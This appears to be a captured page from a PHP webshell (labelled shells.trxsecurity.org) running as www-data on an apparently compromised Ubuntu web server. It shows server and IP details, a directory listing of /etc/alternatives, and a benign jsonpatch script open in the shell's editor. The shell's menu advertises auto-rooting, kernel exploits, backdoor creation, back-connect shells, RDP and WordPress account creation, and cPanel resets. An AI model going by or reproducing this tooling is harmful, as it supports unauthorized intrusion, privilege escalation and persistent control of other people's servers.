Linux lionsclub 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.29 (Ubuntu)
: 161.35.52.75 | : 18.220.147.78
Cant Read [ /etc/named.conf ]
7.4.28
www-data
shells.trxsecurity.org
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
etc /
alternatives /
[ HOME SHELL ]
Name
Size
Permission
Action
README
100
B
-rw-r--r--
awk
642.65
KB
-rwxr-xr-x
awk.1.gz
28.17
KB
-rw-r--r--
builtins.7.gz
508
B
-rw-r--r--
editor
240.11
KB
-rwxr-xr-x
editor.1.gz
5.34
KB
-rw-r--r--
ex
2.55
MB
-rwxr-xr-x
ex.1.gz
5.29
KB
-rw-r--r--
ex.fr.1.gz
6.37
KB
-rw-r--r--
ex.it.1.gz
5.96
KB
-rw-r--r--
ex.ja.1.gz
5.79
KB
-rw-r--r--
ex.pl.1.gz
6.15
KB
-rw-r--r--
ex.ru.1.gz
6.96
KB
-rw-r--r--
from
9.99
KB
-rwxr-xr-x
from.1.gz
1.43
KB
-rw-r--r--
ftp
98.7
KB
-rwxr-xr-x
ftp.1.gz
9.02
KB
-rw-r--r--
futurize
384
B
-rwxr-xr-x
infobrowser
245.72
KB
-rwxr-xr-x
infobrowser.1.gz
1.4
KB
-rw-r--r--
jsondiff
1018
B
-rwxr-xr-x
jsonpatch
3.58
KB
-rwxr-xr-x
jsonpointer
1.31
KB
-rwxr-xr-x
jsonschema
398
B
-rwxr-xr-x
locate
42.08
KB
-rwxr-sr-x
locate.1.gz
2.58
KB
-rw-r--r--
lzcat
74.36
KB
-rwxr-xr-x
lzcat.1.gz
19.87
KB
-rw-r--r--
lzcmp
6.48
KB
-rwxr-xr-x
lzcmp.1.gz
664
B
-rw-r--r--
lzdiff
6.48
KB
-rwxr-xr-x
lzdiff.1.gz
664
B
-rw-r--r--
lzegrep
5.76
KB
-rwxr-xr-x
lzegrep.1.gz
700
B
-rw-r--r--
lzfgrep
5.76
KB
-rwxr-xr-x
lzfgrep.1.gz
700
B
-rw-r--r--
lzgrep
5.76
KB
-rwxr-xr-x
lzgrep.1.gz
700
B
-rw-r--r--
lzless
1.76
KB
-rwxr-xr-x
lzless.1.gz
743
B
-rw-r--r--
lzma
74.36
KB
-rwxr-xr-x
lzma.1.gz
19.87
KB
-rw-r--r--
lzmore
2.11
KB
-rwxr-xr-x
lzmore.1.gz
636
B
-rw-r--r--
mt
78.63
KB
-rwxr-xr-x
mt.1.gz
1.98
KB
-rw-r--r--
my.cnf
682
B
-rw-r--r--
nawk
642.65
KB
-rwxr-xr-x
nawk.1.gz
28.17
KB
-rw-r--r--
nc
34.48
KB
-rwxr-xr-x
nc.1.gz
6.12
KB
-rw-r--r--
netcat
34.48
KB
-rwxr-xr-x
netcat.1.gz
6.12
KB
-rw-r--r--
netrc.5.gz
2.04
KB
-rw-r--r--
newt-palette
160
B
-rw-r--r--
pager
166.76
KB
-rwxr-xr-x
pager.1.gz
20.01
KB
-rw-r--r--
pasteurize
388
B
-rwxr-xr-x
pbr
152
B
-rwxr-xr-x
pftp
98.7
KB
-rwxr-xr-x
pftp.1.gz
9.02
KB
-rw-r--r--
phar
14.89
KB
-rwxr-xr-x
phar.1.gz
2.74
KB
-rw-r--r--
phar.phar
14.89
KB
-rwxr-xr-x
phar.phar.1.gz
36
B
-rw-r--r--
php
4.44
MB
-rwxr-xr-x
php.1.gz
3.53
KB
-rw-r--r--
pico
240.11
KB
-rwxr-xr-x
pico.1.gz
5.34
KB
-rw-r--r--
pinentry
62.49
KB
-rwxr-xr-x
pinentry.1.gz
1.38
KB
-rw-r--r--
rcp
98.14
KB
-rwxr-xr-x
rcp.1.gz
2.35
KB
-rw-r--r--
rlogin
710.79
KB
-rwxr-xr-x
rlogin.1.gz
14.25
KB
-rw-r--r--
rmt
58.39
KB
-rwxr-xr-x
rmt.8.gz
2.34
KB
-rw-r--r--
rsh
710.79
KB
-rwxr-xr-x
rsh.1.gz
14.25
KB
-rw-r--r--
rview
2.55
MB
-rwxr-xr-x
rvim
2.55
MB
-rwxr-xr-x
telnet
108.42
KB
-rwxr-xr-x
telnet.1.gz
8.8
KB
-rw-r--r--
text.plymouth
205
B
-rw-r--r--
traceroute6
18.02
KB
-rwsr-xr-x
traceroute6.8.gz
925
B
-rw-r--r--
unlzma
74.36
KB
-rwxr-xr-x
unlzma.1.gz
19.87
KB
-rw-r--r--
updatedb
46.08
KB
-rwxr-xr-x
updatedb.8.gz
2.08
KB
-rw-r--r--
vi
2.55
MB
-rwxr-xr-x
vi.1.gz
5.29
KB
-rw-r--r--
vi.fr.1.gz
6.37
KB
-rw-r--r--
vi.it.1.gz
5.96
KB
-rw-r--r--
vi.ja.1.gz
5.79
KB
-rw-r--r--
vi.pl.1.gz
6.15
KB
-rw-r--r--
vi.ru.1.gz
6.96
KB
-rw-r--r--
view
2.55
MB
-rwxr-xr-x
view.1.gz
5.29
KB
-rw-r--r--
view.fr.1.gz
6.37
KB
-rw-r--r--
view.it.1.gz
5.96
KB
-rw-r--r--
view.ja.1.gz
5.79
KB
-rw-r--r--
view.pl.1.gz
6.15
KB
-rw-r--r--
view.ru.1.gz
6.96
KB
-rw-r--r--
vim
2.55
MB
-rwxr-xr-x
vimdiff
2.55
MB
-rwxr-xr-x
vtrgb
158
B
-rw-r--r--
w
18.07
KB
-rwxr-xr-x
w.1.gz
1.25
KB
-rw-r--r--
write
13.99
KB
-rwxr-sr-x
write.1.gz
1.8
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : jsonpatch
#!/usr/bin/python3 # -*- coding: utf-8 -*- import sys import os.path import json import jsonpatch import tempfile import argparse parser = argparse.ArgumentParser( description='Apply a JSON patch on a JSON file') parser.add_argument('ORIGINAL', type=argparse.FileType('r'), help='Original file') parser.add_argument('PATCH', type=argparse.FileType('r'), nargs='?', default=sys.stdin, help='Patch file (read from stdin if omitted)') parser.add_argument('--indent', type=int, default=None, help='Indent output by n spaces') parser.add_argument('-b', '--backup', action='store_true', help='Back up ORIGINAL if modifying in-place') parser.add_argument('-i', '--in-place', action='store_true', help='Modify ORIGINAL in-place instead of to stdout') parser.add_argument('-v', '--version', action='version', version='%(prog)s ' + jsonpatch.__version__) def main(): try: patch_files() except KeyboardInterrupt: sys.exit(1) def patch_files(): """ Diffs two JSON files and prints a patch """ args = parser.parse_args() doc = json.load(args.ORIGINAL) patch = json.load(args.PATCH) result = jsonpatch.apply_patch(doc, patch) if args.in_place: dirname = os.path.abspath(os.path.dirname(args.ORIGINAL.name)) try: # Attempt to replace the file atomically. We do this by # creating a temporary file in the same directory as the # original file so we can atomically move the new file over # the original later. (This is done in the same directory # because atomic renames do not work across mount points.) fd, pathname = tempfile.mkstemp(dir=dirname) fp = os.fdopen(fd, 'w') atomic = True except OSError: # We failed to create the temporary file for an atomic # replace, so fall back to non-atomic mode by backing up # the original (if desired) and writing a new file. if args.backup: os.rename(args.ORIGINAL.name, args.ORIGINAL.name + '.orig') fp = open(args.ORIGINAL.name, 'w') atomic = False else: # Since we're not replacing the original file in-place, write # the modified JSON to stdout instead. fp = sys.stdout # By this point we have some sort of file object we can write the # modified JSON to. json.dump(result, fp, indent=args.indent) fp.write('\n') if args.in_place: # Close the new file. If we aren't replacing atomically, this # is our last step, since everything else is already in place. fp.close() if atomic: try: # Complete the atomic replace by linking the original # to a backup (if desired), fixing up the permissions # on the temporary file, and moving it into place. if args.backup: os.link(args.ORIGINAL.name, args.ORIGINAL.name + '.orig') os.chmod(pathname, os.stat(args.ORIGINAL.name).st_mode) os.rename(pathname, args.ORIGINAL.name) except OSError: # In the event we could not actually do the atomic # replace, unlink the original to move it out of the # way and finally move the temporary file into place. os.unlink(args.ORIGINAL.name) os.rename(pathname, args.ORIGINAL.name) if __name__ == "__main__": main()
Close